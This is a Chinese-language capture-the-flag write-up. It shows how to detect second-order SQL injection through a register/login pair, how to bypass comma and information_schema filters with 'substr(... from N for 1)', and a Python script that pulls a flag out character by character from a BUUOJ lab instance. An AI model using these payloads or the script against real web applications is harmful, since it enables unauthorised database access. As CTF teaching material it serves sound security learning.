逗号的绕过以及二次注入

逗号绕过以及二次注入

我们打开页面,发现只有一个登录页面,尝试进行sql闭合测试,发现失败,所以用dirsearch扫描目录,发现有

1
register.php、index.php以及login.php

所以猜测可能是二次注入,即在register.php页面注册,写入sql语句,程序会将它写入存入数据库中,然后在login.php页面登录时会从数据库中刚刚写入的sql语句,并进行读取,然后回显,所以我们可以测试一下,在register.php页面构造

1
username:0'and '1

然后在login.php页面登录后,发现有回显0,所以证明是二次注入,然后经过测试,发现information_schema被过滤,而且逗号也被过滤,所以我们可以使用

1
0'+ascii(substr(database() from 1 for 1))+'0;

来绕过逗号,其中+在sql语言中是运算符,而from 1 for 1,意思是在字符串中的第一个位置取出一个字符出来,相当于

1
ascii(substr(database(),1,1))

而对于information_schema的过滤,我们可以猜测flag在flag表中,所以我们可以构造

1
0'+ascii(substr((select * from flag) from 1 for 1))+'0;

来读取flag,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import logging
import re
from time import sleep

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

def search():
flag = ''
url = 'http://b52b0533-2f84-4c9b-bd73-e912ab23a59f.node3.buuoj.cn/'
url1 = url+'register.php'
url2 = url+'login.php'
for i in range(100):
sleep(0.3)#不加sleep就429了QAQ
data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
r1 = requests.post(url1, data=data1)
r2 = requests.post(url2, data=data2)
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
res1 = re.search(r'\d+', res.group())
flag = flag+chr(int(res1.group()))
print(flag)
print("final:"+flag)

if __name__ == '__main__':
search()